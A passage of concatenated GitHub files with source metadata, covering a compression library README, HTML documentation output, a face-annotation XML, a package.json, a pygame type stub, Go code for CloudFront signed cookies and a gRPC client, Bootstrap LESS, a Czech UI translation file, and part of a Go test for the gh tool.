That's why DENSITY's algorithms were designed from scratch. They have to alleviate for 4-byte work units and still provide interesting compression ratios.
**Speed pedigree traits**
* 4-byte work units
* heavy use of registers as opposed to memory for processing
* avoidance of or use of minimal branching when possible
* use of low memory data structures to favor processor cache Lx accesses
* library wide inlining
* specific unrollings
* prefetching and branching hints
* restricted pointers to maximize compiler optimizations
A "blowup protection" is provided, dramatically increasing the processing speed of incompressible input data. Also, the output, compressed data size will **never exceed** the original uncompressed data size by more than 1% in case of incompressible, reasonably-sized inputs.
Benchmarks
----------
**Quick benchmark**
DENSITY features an **integrated in-memory benchmark**. After building the project (see [build](#build)), a *benchmark* executable will be present in the build directory. If run without arguments, usage help will be displayed.
File used : enwik8 (100 MB)
Platform : MacBook Pro, MacOS 10.13.3, 2.3 GHz Intel Core i7, 8Gb 1600 MHz DDR, SSD, compiling with Clang/LLVM 9.0.0
Timing : using the *time* function, and taking the best *user* output after multiple runs. In the case of density, the in-memory integrated benchmark's best value (which uses the same usermode CPU timing) is used.
<sub>Library</sub>|<sub>Algorithm</sub>|<sub>Compress</sub>|<sub>Decompress</sub>|<sub>Size</sub>|<sub>Ratio</sub>|<sub>Round trip</sub>
---|---|---|---|---|---|---
<sub>**density** 0.14.2</sub>|<sub>Chameleon</sub>|<sub>0.092s (1085 MB/s)</sub>|<sub>0.059s (1684 MB/s)</sub>|<sub>61 524 084</sub>|<sub>61,52%</sub>|<sub>0.151s</sub>
<sub>lz4 r129</sub>|<sub>-1</sub>|<sub>0.468s (214 MB/s)</sub>|<sub>0.115s (870 MB/s)</sub>|<sub>57 285 990</sub>|<sub>57,29%</sub>|<sub>0.583s</sub>
<sub>lzo 2.08</sub>|<sub>-1</sub>|<sub>0.367s (272 MB/s)</sub>|<sub>0.309s (324 MB/s)</sub>|<sub>56 709 096</sub>|<sub>56,71%</sub>|<sub>0.676s</sub>
<sub>**density** 0.14.2</sub>|<sub>Cheetah</sub>|<sub>0.170s (587 MB/s)</sub>|<sub>0.126s (796 MB/s)</sub>|<sub>53 156 668</sub>|<sub>53,16%</sub>|<sub>0.296s</sub>
<sub>**density** 0.14.2</sub>|<sub>Lion</sub>|<sub>0.303s (330 MB/s)</sub>|<sub>0.288s (347 MB/s)</sub>|<sub>47 817 692</sub>|<sub>47,82%</sub>|<sub>0.591s</sub>
<sub>lz4 r129</sub>|<sub>-3</sub>|<sub>1.685s (59 MB/s)</sub>|<sub>0.118s (847 MB/s)</sub>|<sub>44 539 940</sub>|<sub>44,54%</sub>|<sub>1.803s</sub>
<sub>lzo 2.08</sub>|<sub>-7</sub>|<sub>9.562s (10 MB/s)</sub>|<sub>0.319s (313 MB/s)</sub>|<sub>41 720 721</sub>|<sub>41,72%</sub>|<sub>9.881s</sub>
**Other benchmarks**
Here are a few other benchmarks featuring DENSITY (non exhaustive list) :
* [**squash**](https://github.com/quixdb/squash) is an abstraction layer for compression algorithms, and has an extremely exhaustive set of benchmark results, including density's, [available here](https://quixdb.github.io/squash-benchmark/?dataset=dickens&machine=s-desktop).
* [**lzbench**](https://github.com/inikep/lzbench) is an in-memory benchmark of open-source LZ77/LZSS/LZMA compressors.
* [**fsbench**](https://github.com/gpnuma/fsbench-density) is a command line utility that enables real-time testing of compression algorithms, but also hashes and much more. A fork with density releases is [available here](https://github.com/gpnuma/fsbench-density) for easy access.
The original author's repository [can be found here](https://chiselapp.com/user/Justin_be_my_guide/repository/fsbench/).
Build
-----
DENSITY can be built on a number of platforms, via the provided makefiles.
It was developed and optimized against Clang/LLVM which makes it the preferred compiler, but GCC and MSVC are also supported. Please use the latest compiler versions for best performance.
**MacOS**
On MacOS, Clang/LLVM is the default compiler, which makes things simpler.
1) Get the source code :
```
git clone https://github.com/centaurean/density.git
cd density
```
2) Build and test :
```
make
build/benchmark -f
```
Alternatively, thanks to the [Homebrew project](https://brew.sh), DENSITY can also be installed with a single command on MacOS:
```
brew install density
```
**Linux**
On Linux, Clang/LLVM is not always available by default, but can be easily added thanks to the provided package managers.
The following example assumes a Debian or Ubuntu distribution with *apt-get*.
1) From the command line, install Clang/LLVM (*optional*, GCC is also supported if Clang/LLVM can't be used) and other prerequisites.
```
sudo apt-get install clang git
```
2) Get the source code :
```
git clone https://github.com/centaurean/density.git
cd density
```
3) Build and test :
```
make
```
or
```
make CC=gcc-... AR=gcc-ar-...
```
or
```
make CC=clang-... AR=llvm-ar-...
```
to choose alternative compilers. For a quick test of resulting binaries, run
```
build/benchmark -f
```
**Windows**
Please install [git for Windows](https://git-scm.com/download/win) to begin with.
On Windows, density can be built in different ways.
The **first method** is to use mingw's gcc compiler; for that it is necessary to download and install [mingw-w64](https://sourceforge.net/projects/mingw-w64/).
1) Once mingw-w64 is installed, get the source :
```
git clone https://github.com/centaurean/density.git
cd density
```
2) Build and test :
```
mingw32-make.exe
build/benchmark.exe -f
```
As an alternative, [MSYS2](http://www.msys2.org/) also offers a linux-like environment for Windows.
The **second method** is to download and install Microsoft's [Visual Studio IDE community edition](https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community). It comes with Microsoft's own compilers and is free.
1) Once Visual Studio is installed, open a [developer command prompt](https://docs.microsoft.com/en-us/dotnet/framework/tools/developer-command-prompt-for-vs) and type :
```
git clone https://github.com/centaurean/density.git
cd density\msvc
```
2) Build and test :
```
msbuild Density.sln
bin\Release\benchmark.exe -f
```
An extra **recommended step** would be to install *Clang/LLVM* for Windows. It is downloadable from [this link](http://releases.llvm.org/5.0.1/LLVM-5.0.1-win64.exe). Once installed, open the Visual Studio IDE by double-clicking on *Density.sln*, then right-click on project names and change the platform toolsets to *LLVM*. Rebuild the solution to generate binaries with Clang/LLVM.
Output format
-------------
DENSITY outputs compressed data in a simple format, which enables file storage and optional parallelization for both compression and decompression.
A very short header holding vital informations (like DENSITY version and algorithm used) precedes the binary compressed data.
APIs
----
DENSITY features a straightforward *API*, simple yet powerful enough to keep users' creativity unleashed.
For advanced developers, it allows use of custom dictionaries and exportation of generated dictionaries after a compression session. Although using the default, blank dictionary is perfectly fine in most cases, setting up your own, tailored dictionaries could somewhat improve compression ratio especially for low sized input datum.
Please see the [*quick start*](#quick-start-a-simple-example-using-the-api) at the bottom of this page.
About the algorithms
--------------------
**Chameleon** ( *DENSITY_ALGORITHM_CHAMELEON* )
Chameleon is a dictionary lookup based compression algorithm. It is designed for absolute speed and usually reaches a 60% compression ratio on compressible data.
Decompression is just as fast. This algorithm is a great choice when main concern is speed.
**Cheetah** ( *DENSITY_ALGORITHM_CHEETAH* )
Cheetah was developed with inputs from [Piotr Tarsa](https://github.com/tarsa).
It is derived from chameleon and uses swapped double dictionary lookups and predictions. It can be extremely good with highly compressible data (ratio reaching 10% or less).
On typical compressible data compression ratio is about 50% or less. It is still extremely fast for both compression and decompression and is a great, efficient all-rounder algorithm.
**Lion** ( *DENSITY_ALGORITHM_LION* )
Lion is a multiform compression algorithm derived from cheetah. It goes further in the areas of dynamic adaptation and fine-grained analysis.
It uses multiple swapped dictionary lookups and predictions, and forms rank entropy coding.
Lion provides the best compression ratio of all three algorithms under any circumstance, and is still very fast.
Quick start (a simple example using the API)
--------------------------------------------
Using DENSITY in your application couldn't be any simpler.
First you need to include this file in your project :
* density_api.h
When this is done you can start using the **DENSITY API** :
```C
#include <string.h>
#include "density_api.h"
char* text = "This is a simple example on how to use the simple Density API. This is a simple example on how to use the simple Density API.";
uint64_t text_length = (uint64_t)strlen(text);
// Determine safe buffer sizes
uint_fast64_t compress_safe_size = density_compress_safe_size(text_length);
uint_fast64_t decompress_safe_size = density_decompress_safe_size(text_length);
// Allocate required memory
uint8_t *outCompressed = malloc(compress_safe_size * sizeof(char));
uint8_t *outDecompressed = malloc(decompress_safe_size * sizeof(char));
density_processing_result result;
// Compress
result = density_compress(text, text_length, outCompressed, compress_safe_size, DENSITY_COMPRESSION_MODE_CHAMELEON_ALGORITHM);
if(!result.state)
printf("Compressed %llu bytes to %llu bytes\n", result.bytesRead, result.bytesWritten);
// Decompress
result = density_decompress(outCompressed, result.bytesWritten, outDecompressed, decompress_safe_size);
if(!result.state)
printf("Decompressed %llu bytes to %llu bytes\n", result.bytesRead, result.bytesWritten);
// Free memory_allocated
free(outCompressed);
free(outDecompressed);
```
And that's it ! We've done a compression/decompression round trip with a few lines !
Related projects
----------------
* **SHARC** (archiver using density algorithms) [https://github.com/gpnuma/sharc](https://github.com/gpnuma/sharc)
* **fsbench-density** (in-memory transformations benchmark) [https://github.com/gpnuma/fsbench-density](https://github.com/gpnuma/fsbench-density)
* **densityxx** (c++ port of density) [https://github.com/charlesw1234/densityxx](https://github.com/charlesw1234/densityxx)
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>
Stop (test_package+re.Stop)
</title>
<link rel="stylesheet" href="../../odoc.css">
<meta charset="utf-8">
<meta name="generator" content="odoc %%VERSION%%">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<script src="../../highlight.pack.js"></script>
<script>
hljs.initHighlightingOnLoad();
</script>
</head>
<body>
<nav>
<a href="../index.html">Up</a> – <a href="../index.html">test_package+re</a> » Stop
</nav>
<header>
<h1>
Module <code>Stop</code>
</h1>
<p>
This test cases exercises stop comments.
</p>
</header>
<div class="content">
<div>
<div class="spec value" id="val-foo">
<a href="#val-foo" class="anchor"></a><code><span class="keyword">let</span> foo: int;</code>
</div>
<div>
<p>
This is normal commented text.
</p>
</div>
</div>
<aside>
<p>
The next value is <code>bar</code>, and it should be missing from the documentation. There is also an entire module, <code>M</code>, which should also be hidden. It contains a nested stop comment, but that stop comment should not turn documentation back on in this outer module, because stop comments respect scope.
</p>
<p>
Documentation is on again.
</p>
<p>
Now, we have a nested module, and it has a stop comment between its two items. We want to see that the first item is displayed, but the second is missing, and the stop comment disables documenation only in that module, and not in this outer module.
</p>
</aside>
<div class="spec module" id="module-N">
<a href="#module-N" class="anchor"></a><code><span class="keyword">module</span> <a href="N/index.html">N</a>: { ... };</code>
</div>
<div class="spec value" id="val-lol">
<a href="#val-lol" class="anchor"></a><code><span class="keyword">let</span> lol: int;</code>
</div>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
<annotation>
<folder>widerface</folder>
<filename>55--Sports_Coach_Trainer_55_Sports_Coach_Trainer_sportcoaching_55_652.jpg</filename>
<source>
<database>wider face Database</database>
<annotation>PASCAL VOC2007</annotation>
<image>flickr</image>
<flickrid>-1</flickrid>
</source>
<owner>
<flickrid>yanyu</flickrid>
<name>yanyu</name>
</owner>
<size>
<width>1024</width>
<height>318</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>face</name>
<pose>Unspecified</pose>
<truncated>1</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>530</xmin>
<ymin>8</ymin>
<xmax>586</xmax>
<ymax>88</ymax>
</bndbox>
<lm>
<x1>549.143</x1>
<y1>31.571</y1>
<x2>560.75</x2>
<y2>33.429</y2>
<x3>533.357</x3>
<y3>42.714</y3>
<x4>535.214</x4>
<y4>61.75</y4>
<x5>545.893</x5>
<y5>62.679</y5>
<visible>0</visible>
<blur>0.7</blur>
</lm>
<has_lm>1</has_lm>
</object>
</annotation> | {
"pile_set_name": "Github"
} |
{
"name": "foo",
"version": "0.0.1",
"description": "foo",
"scripts": {
"clean": "rm -rf ./node_modules/ ./bower_components/",
"test": "rm -rf ./test/dist; gulp prepare-test; mocha ./test/test.js",
"start": "webpack-dev-server ./js/entry.js ./dist/bundle.js --watch"
},
"keywords": [],
"author": "Joe Hudson",
"dependencies": {
"backbone": "^1.1.2",
"jquery": "~2.1",
"react": "^0.12.2",
"underscore": "~1.7",
"react-backbone": "*",
"react-events": "*",
"react-mixin-manager": "*",
"backbone-xhr-events": "*"
},
"devDependencies": {
"css-loader": "~0.9",
"html-webpack-plugin": "^1.1.0",
"jsx-loader": "^0.12.2",
"webpack": "^1.5.3",
"webpack-dev-server": "^1.7.0"
}
}
| {
"pile_set_name": "Github"
} |
from typing import Tuple, Union, List, Optional, TypeVar, Sequence
from pygame.color import Color
from pygame.surface import Surface
_ColorValue = Union[
Color, Tuple[int, int, int], List[int], int, Tuple[int, int, int, int]
]
class PixelArray:
surface: Surface
itemsize: int
ndim: int
shape: Tuple[int, ...]
strides: Tuple[int, ...]
def __init__(self, surface: Surface) -> None: ...
def make_surface(self) -> Surface: ...
def replace(
self,
color: _ColorValue,
repcolor: _ColorValue,
distance: Optional[float] = 0,
weights: Optional[Sequence[float]] = (0.299, 0.587, 0.114),
) -> None: ...
def extract(
self,
color: _ColorValue,
distance: Optional[float] = 0,
weights: Optional[Sequence[float]] = (0.299, 0.587, 0.114),
) -> PixelArray: ...
def compare(
self,
array: PixelArray,
distance: Optional[float] = 0,
weights: Optional[Sequence[float]] = (0.299, 0.587, 0.114),
) -> PixelArray: ...
def transpose(self) -> PixelArray: ...
def close(self) -> PixelArray: ...
| {
"pile_set_name": "Github"
} |
package sign
import (
"crypto/rsa"
"fmt"
"net/http"
"strings"
"time"
)
const (
// CookiePolicyName name of the policy cookie
CookiePolicyName = "CloudFront-Policy"
// CookieSignatureName name of the signature cookie
CookieSignatureName = "CloudFront-Signature"
// CookieKeyIDName name of the signing Key ID cookie
CookieKeyIDName = "CloudFront-Key-Pair-Id"
)
// A CookieOptions optional additional options that can be applied to the signed
// cookies.
type CookieOptions struct {
Path string
Domain string
Secure bool
}
// apply will integration the options provided into the base cookie options
// a new copy will be returned. The base CookieOption will not be modified.
func (o CookieOptions) apply(opts ...func(*CookieOptions)) CookieOptions {
if len(opts) == 0 {
return o
}
for _, opt := range opts {
opt(&o)
}
return o
}
// A CookieSigner provides signing utilities to sign Cookies for Amazon CloudFront
// resources. Using a private key and Credential Key Pair key ID the CookieSigner
// only needs to be created once per Credential Key Pair key ID and private key.
//
// More information about signed Cookies and their structure can be found at:
// http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-setting-signed-cookie-custom-policy.html
//
// To sign a Cookie, create a CookieSigner with your private key and credential
// pair key ID. Once you have a CookieSigner instance you can call Sign or
// SignWithPolicy to sign the URLs.
//
// The signer is safe to use concurrently, but the optional cookies options
// are not safe to modify concurrently.
type CookieSigner struct {
keyID string
privKey *rsa.PrivateKey
Opts CookieOptions
}
// NewCookieSigner constructs and returns a new CookieSigner to be used to for
// signing Amazon CloudFront URL resources with.
func NewCookieSigner(keyID string, privKey *rsa.PrivateKey, opts ...func(*CookieOptions)) *CookieSigner {
signer := &CookieSigner{
keyID: keyID,
privKey: privKey,
Opts: CookieOptions{}.apply(opts...),
}
return signer
}
// Sign returns the cookies needed to allow user agents to make arbetrary
// requests to cloudfront for the resource(s) defined by the policy.
//
// Sign will create a CloudFront policy with only a resource and condition of
// DateLessThan equal to the expires time provided.
//
// The returned slice cookies should all be added to the Client's cookies or
// server's response.
//
// Example:
// s := sign.NewCookieSigner(keyID, privKey)
//
// // Get Signed cookies for a resource that will expire in 1 hour
// cookies, err := s.Sign("*", time.Now().Add(1 * time.Hour))
// if err != nil {
// fmt.Println("failed to create signed cookies", err)
// return
// }
//
// // Or get Signed cookies for a resource that will expire in 1 hour
// // and set path and domain of cookies
// cookies, err := s.Sign("*", time.Now().Add(1 * time.Hour), func(o *sign.CookieOptions) {
// o.Path = "/"
// o.Domain = ".example.com"
// })
// if err != nil {
// fmt.Println("failed to create signed cookies", err)
// return
// }
//
// // Server Response via http.ResponseWriter
// for _, c := range cookies {
// http.SetCookie(w, c)
// }
//
// // Client request via the cookie jar
// if client.CookieJar != nil {
// for _, c := range cookies {
// client.Cookie(w, c)
// }
// }
func (s CookieSigner) Sign(u string, expires time.Time, opts ...func(*CookieOptions)) ([]*http.Cookie, error) {
scheme, err := cookieURLScheme(u)
if err != nil {
return nil, err
}
resource, err := CreateResource(scheme, u)
if err != nil {
return nil, err
}
p := NewCannedPolicy(resource, expires)
return createCookies(p, s.keyID, s.privKey, s.Opts.apply(opts...))
}
// Returns and validates the URL's scheme.
// http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-setting-signed-cookie-custom-policy.html#private-content-custom-policy-statement-cookies
func cookieURLScheme(u string) (string, error) {
parts := strings.SplitN(u, "://", 2)
if len(parts) != 2 {
return "", fmt.Errorf("invalid cookie URL, missing scheme")
}
scheme := strings.ToLower(parts[0])
if scheme != "http" && scheme != "https" && scheme != "http*" {
return "", fmt.Errorf("invalid cookie URL scheme. Expect http, https, or http*. Go, %s", scheme)
}
return scheme, nil
}
// SignWithPolicy returns the cookies needed to allow user agents to make
// arbetrairy requets to cloudfront for the resource(s) defined by the policy.
//
// The returned slice cookies should all be added to the Client's cookies or
// server's response.
//
// Example:
// s := sign.NewCookieSigner(keyID, privKey)
//
// policy := &sign.Policy{
// Statements: []sign.Statement{
// {
// // Read the provided documentation on how to set this
// // correctly, you'll probably want to use wildcards.
// Resource: rawCloudFrontURL,
// Condition: sign.Condition{
// // Optional IP source address range
// IPAddress: &sign.IPAddress{SourceIP: "192.0.2.0/24"},
// // Optional date URL is not valid until
// DateGreaterThan: &sign.AWSEpochTime{time.Now().Add(30 * time.Minute)},
// // Required date the URL will expire after
// DateLessThan: &sign.AWSEpochTime{time.Now().Add(1 * time.Hour)},
// },
// },
// },
// }
//
// // Get Signed cookies for a resource that will expire in 1 hour
// cookies, err := s.SignWithPolicy(policy)
// if err != nil {
// fmt.Println("failed to create signed cookies", err)
// return
// }
//
// // Or get Signed cookies for a resource that will expire in 1 hour
// // and set path and domain of cookies
// cookies, err := s.Sign(policy, func(o *sign.CookieOptions) {
// o.Path = "/"
// o.Domain = ".example.com"
// })
// if err != nil {
// fmt.Println("failed to create signed cookies", err)
// return
// }
//
// // Server Response via http.ResponseWriter
// for _, c := range cookies {
// http.SetCookie(w, c)
// }
//
// // Client request via the cookie jar
// if client.CookieJar != nil {
// for _, c := range cookies {
// client.Cookie(w, c)
// }
// }
func (s CookieSigner) SignWithPolicy(p *Policy, opts ...func(*CookieOptions)) ([]*http.Cookie, error) {
return createCookies(p, s.keyID, s.privKey, s.Opts.apply(opts...))
}
// Prepares the cookies to be attached to the header. An (optional) options
// struct is provided in case people don't want to manually edit their cookies.
func createCookies(p *Policy, keyID string, privKey *rsa.PrivateKey, opt CookieOptions) ([]*http.Cookie, error) {
b64Sig, b64Policy, err := p.Sign(privKey)
if err != nil {
return nil, err
}
// Creates proper cookies
cPolicy := &http.Cookie{
Name: CookiePolicyName,
Value: string(b64Policy),
HttpOnly: true,
}
cSignature := &http.Cookie{
Name: CookieSignatureName,
Value: string(b64Sig),
HttpOnly: true,
}
cKey := &http.Cookie{
Name: CookieKeyIDName,
Value: keyID,
HttpOnly: true,
}
cookies := []*http.Cookie{cPolicy, cSignature, cKey}
// Applie the cookie options
for _, c := range cookies {
c.Path = opt.Path
c.Domain = opt.Domain
c.Secure = opt.Secure
}
return cookies, nil
}
| {
"pile_set_name": "Github"
} |
//
// Responsive: Landscape phone to desktop/tablet
// --------------------------------------------------
@media (max-width: 767px) {
// Padding to set content in a bit
body {
padding-left: 20px;
padding-right: 20px;
}
// Negative indent the now static "fixed" navbar
.navbar-fixed-top,
.navbar-fixed-bottom,
.navbar-static-top {
margin-left: -20px;
margin-right: -20px;
}
// Remove padding on container given explicit padding set on body
.container-fluid {
padding: 0;
}
// TYPOGRAPHY
// ----------
// Reset horizontal dl
.dl-horizontal {
dt {
float: none;
clear: none;
width: auto;
text-align: left;
}
dd {
margin-left: 0;
}
}
// GRID & CONTAINERS
// -----------------
// Remove width from containers
.container {
width: auto;
}
// Fluid rows
.row-fluid {
width: 100%;
}
// Undo negative margin on rows and thumbnails
.row,
.thumbnails {
margin-left: 0;
}
.thumbnails > li {
float: none;
margin-left: 0; // Reset the default margin for all li elements when no .span* classes are present
}
// Make all grid-sized elements block level again
[class*="span"],
.uneditable-input[class*="span"], // Makes uneditable inputs full-width when using grid sizing
.row-fluid [class*="span"] {
float: none;
display: block;
width: 100%;
margin-left: 0;
.box-sizing(border-box);
}
.span12,
.row-fluid .span12 {
width: 100%;
.box-sizing(border-box);
}
.row-fluid [class*="offset"]:first-child {
margin-left: 0;
}
// FORM FIELDS
// -----------
// Make span* classes full width
.input-large,
.input-xlarge,
.input-xxlarge,
input[class*="span"],
select[class*="span"],
textarea[class*="span"],
.uneditable-input {
.input-block-level();
}
// But don't let it screw up prepend/append inputs
.input-prepend input,
.input-append input,
.input-prepend input[class*="span"],
.input-append input[class*="span"] {
display: inline-block; // redeclare so they don't wrap to new lines
width: auto;
}
.controls-row [class*="span"] + [class*="span"] {
margin-left: 0;
}
// Modals
.modal {
position: fixed;
top: 20px;
left: 20px;
right: 20px;
width: auto;
margin: 0;
&.fade { top: -100px; }
&.fade.in { top: 20px; }
}
}
// UP TO LANDSCAPE PHONE
// ---------------------
@media (max-width: 480px) {
// Smooth out the collapsing/expanding nav
.nav-collapse {
-webkit-transform: translate3d(0, 0, 0); // activate the GPU
}
// Block level the page header small tag for readability
.page-header h1 small {
display: block;
line-height: @baseLineHeight;
}
// Update checkboxes for iOS
input[type="checkbox"],
input[type="radio"] {
border: 1px solid #ccc;
}
// Remove the horizontal form styles
.form-horizontal {
.control-label {
float: none;
width: auto;
padding-top: 0;
text-align: left;
}
// Move over all input controls and content
.controls {
margin-left: 0;
}
// Move the options list down to align with labels
.control-list {
padding-top: 0; // has to be padding because margin collaspes
}
// Move over buttons in .form-actions to align with .controls
.form-actions {
padding-left: 10px;
padding-right: 10px;
}
}
// Medias
// Reset float and spacing to stack
.media .pull-left,
.media .pull-right {
float: none;
display: block;
margin-bottom: 10px;
}
// Remove side margins since we stack instead of indent
.media-object {
margin-right: 0;
margin-left: 0;
}
// Modals
.modal {
top: 10px;
left: 10px;
right: 10px;
}
.modal-header .close {
padding: 10px;
margin: -10px;
}
// Carousel
.carousel-caption {
position: static;
}
}
| {
"pile_set_name": "Github"
} |
'Duplicate assignment': 'Duplicitní přiřazení'
Templates: Šablony
'Import theme': 'Importovat téma'
'Import succeeded!': null
'Import failed!': 'Neúspěšný import!'
'Edit template: $1': 'Upravit šablonu: $1'
'Set new name to': 'Nastavit nový název do'
'Rename file': 'Přejmenovat soubor'
'Caching templates in:': 'Caching šablona v:'
'Caching templates finished': 'Caching šablona hotova'
'Theme name': 'Jméno tématu'
'Theme is assigned and can not be deleted': 'Téma je přiděleno a nemůže být vymazáno'
'Theme export was not successful. Check please that the server is not out of disk space.': 'Export tématu nebylo úspěšné. Zkontrolujte zda server má dostatek místa na disku.'
'The theme can not be unassigned because it is in use by issues ($1) in this publication': 'Téma nemůže být vyřazeno, protože je používán ve vydání ($ 1) této publikace.'
zip: PSČ
version: verze
uploaded: nahrané
updated: aktualizované
'or higher': 'nebo vyšší'
moved: posunuté
installed: instalováné
deleted: vymazané
'You must select at least one template to perform an action.': 'Musíte zvolit alespoň jednu šablonu k provedení činnosti.'
Upload: Nahrávat
'Unassign theme': 'Zrušení přirazení tématu'
'Unassign successful': 'Úspěšné zrušení přiřazení '
Unassign: 'Zrušení přiřazení'
'Theme version': 'Téma verze'
'Theme settings updated.': 'Nastavení tématu aktualizováno.'
'Theme settings saved.': 'Nastavení tématu uloženo.'
'Theme name / version': 'Téma název / verze'
'Theme management': 'Management témat'
'Theme $1': 'Téma $1'
'The file $1 is empty.': 'Soubor $1 je prázdný.'
'Template object $1 was renamed to $2.': 'Předmět šablony $1 byl přejmenován na $2.'
'Template object $1 was deleted.': 'Předmět šablony $1 byl vymazán.'
'Template $1 was duplicated into $2.': 'Šablona $1byla duplikovaná to $2.'
'Template $1 $2.': 'Šablona $1 $2.'
'Something broke': 'Něco se rozbilo'
'Section page template': 'Stránka sekce šablon'
Saving..: Ukládání...
'Saving settings failed.': 'Ukládání nastavení selhalo.'
'Save All': 'Uložit Vše'
'Required Newscoop version': 'Požadována verze Newscoop'
Replace: Nahradit
'New template $1 created.': 'Nová šablona $1 vytvořena.'
'New name': 'Nový název'
'Name cant be empty': 'Název nemůže být prázdný'
'Last modified': 'Naposledy změněno'
'Issue page': 'Stránka vydání'
'Go to parent': 'Jdi na ústředí'
'Go to $1': 'Jdi na $1'
'Geo Filtering': 'Geo filtrování'
'Front page template': 'První stránka šablony'
'File size': 'Velikost souboru'
'File name': 'Jméno souboru'
'File $1 was replaced.': 'Soubor $1 byl nahrazen.'
'Failed unassigning theme': 'Neuspěšné zrušení přiřazení tématu '
Export: Export
'Error page template': 'Šablona stránky chyb'
'Edit $1': 'Editovat $1'
'Done uploading': 'Nahráváni hotovo'
'Do you want to override $1?': 'Přejete si přepsat $1?'
'Directory is empty': 'Adresář je prázdný'
'Directory $1 created.': 'Složka $1 vytvořena.'
Design: Design
'Delete theme': 'Vymazat téma'
'Current directory:': 'Aktuální adresář:'
'Create folder': 'Vytvořit složku'
'Create file': 'Vytvořit soubor'
'Copy to available themes': 'Kopírovat do dostupných témat'
'Copied successfully': 'Kopírování úspěšné'
Compatibility: Kompatibilita
'Click to enlarge': 'Kliknutím zvětšit'
'Choose destination': 'Vybrat destinaci'
'Cant override directory $1.': 'Nelze přepsat adresář $1.'
'Cache Lifetime': 'Životnost Cache '
'Browse for the theme': 'Vyhledat téma'
'Assigned successfully': 'Přiřazení úspěšné'
'Article page template': 'Šablona stránky článku'
'Article page': 'Stránka článku'
'Are you sure you want to unassign this theme?': 'Jste si jisti, že chcete zrušit přiřazení tohoto tématu?'
'Are you sure you want to delete this theme?': 'Jste si jisti, že chcete vymazat téma?'
'Add to publication': 'Přidat do publikace'
'$1 is not writable': '$1 není přepsatelné'
'$1 $2': '$1 $2'
'$1 files $2': '$1 soubory $2'
'Available themes': null
'Update cached data': null
'Assigned templates': null
'Cached informations about theme playlists are not up to date!': null
'The theme''s configuration file does not contain information about the list of used featured articles.': null
'Below code should be placed into theme.xml (between ''theme'' nodes) file to make it work. This file is located in every theme''s main directory.': null
| {
"pile_set_name": "Github"
} |
package grpc
import (
"context"
"fmt"
"reflect"
"google.golang.org/grpc"
"google.golang.org/grpc/metadata"
"github.com/go-kit/kit/endpoint"
)
// Client wraps a gRPC connection and provides a method that implements
// endpoint.Endpoint.
type Client struct {
client *grpc.ClientConn
serviceName string
method string
enc EncodeRequestFunc
dec DecodeResponseFunc
grpcReply reflect.Type
before []ClientRequestFunc
after []ClientResponseFunc
finalizer []ClientFinalizerFunc
}
// NewClient constructs a usable Client for a single remote endpoint.
// Pass an zero-value protobuf message of the RPC response type as
// the grpcReply argument.
func NewClient(
cc *grpc.ClientConn,
serviceName string,
method string,
enc EncodeRequestFunc,
dec DecodeResponseFunc,
grpcReply interface{},
options ...ClientOption,
) *Client {
c := &Client{
client: cc,
method: fmt.Sprintf("/%s/%s", serviceName, method),
enc: enc,
dec: dec,
// We are using reflect.Indirect here to allow both reply structs and
// pointers to these reply structs. New consumers of the client should
// use structs directly, while existing consumers will not break if they
// remain to use pointers to structs.
grpcReply: reflect.TypeOf(
reflect.Indirect(
reflect.ValueOf(grpcReply),
).Interface(),
),
before: []ClientRequestFunc{},
after: []ClientResponseFunc{},
}
for _, option := range options {
option(c)
}
return c
}
// ClientOption sets an optional parameter for clients.
type ClientOption func(*Client)
// ClientBefore sets the RequestFuncs that are applied to the outgoing gRPC
// request before it's invoked.
func ClientBefore(before ...ClientRequestFunc) ClientOption {
return func(c *Client) { c.before = append(c.before, before...) }
}
// ClientAfter sets the ClientResponseFuncs that are applied to the incoming
// gRPC response prior to it being decoded. This is useful for obtaining
// response metadata and adding onto the context prior to decoding.
func ClientAfter(after ...ClientResponseFunc) ClientOption {
return func(c *Client) { c.after = append(c.after, after...) }
}
// ClientFinalizer is executed at the end of every gRPC request.
// By default, no finalizer is registered.
func ClientFinalizer(f ...ClientFinalizerFunc) ClientOption {
return func(s *Client) { s.finalizer = append(s.finalizer, f...) }
}
// Endpoint returns a usable endpoint that will invoke the gRPC specified by the
// client.
func (c Client) Endpoint() endpoint.Endpoint {
return func(ctx context.Context, request interface{}) (response interface{}, err error) {
ctx, cancel := context.WithCancel(ctx)
defer cancel()
if c.finalizer != nil {
defer func() {
for _, f := range c.finalizer {
f(ctx, err)
}
}()
}
ctx = context.WithValue(ctx, ContextKeyRequestMethod, c.method)
req, err := c.enc(ctx, request)
if err != nil {
return nil, err
}
md := &metadata.MD{}
for _, f := range c.before {
ctx = f(ctx, md)
}
ctx = metadata.NewOutgoingContext(ctx, *md)
var header, trailer metadata.MD
grpcReply := reflect.New(c.grpcReply).Interface()
if err = c.client.Invoke(
ctx, c.method, req, grpcReply, grpc.Header(&header),
grpc.Trailer(&trailer),
); err != nil {
return nil, err
}
for _, f := range c.after {
ctx = f(ctx, header, trailer)
}
response, err = c.dec(ctx, grpcReply)
if err != nil {
return nil, err
}
return response, nil
}
}
// ClientFinalizerFunc can be used to perform work at the end of a client gRPC
// request, after the response is returned. The principal
// intended use is for error logging. Additional response parameters are
// provided in the context under keys with the ContextKeyResponse prefix.
// Note: err may be nil. There maybe also no additional response parameters depending on
// when an error occurs.
type ClientFinalizerFunc func(ctx context.Context, err error)
| {
"pile_set_name": "Github"
} |
package commands
import (
"github.com/bmizerany/assert"
"github.com/jingweno/gh/github"
"testing"
)
func TestParsePullRequestProject(t *testing.T) {
c := &github.Project{Host: "github.com", Owner: "jingweno", Name: "gh"}
s := "develop"
p, ref := parsePullRequestProject(c, s)
assert.Equal(t, "develop", ref)
assert.Equal(t, "github.com", p.Host)
assert.Equal(t, "jingweno", p.Owner)
assert.Equal(t, "gh", p.Name)
s = "mojombo:develop"
p, ref = parsePullRequestProject(c, s)
assert.Equal(t, "develop", ref)
assert.Equal(t, "github.com", p.Host)
assert.Equal(t, "mojombo", p.Owner)
assert.Equal(t, "gh", p.Name)
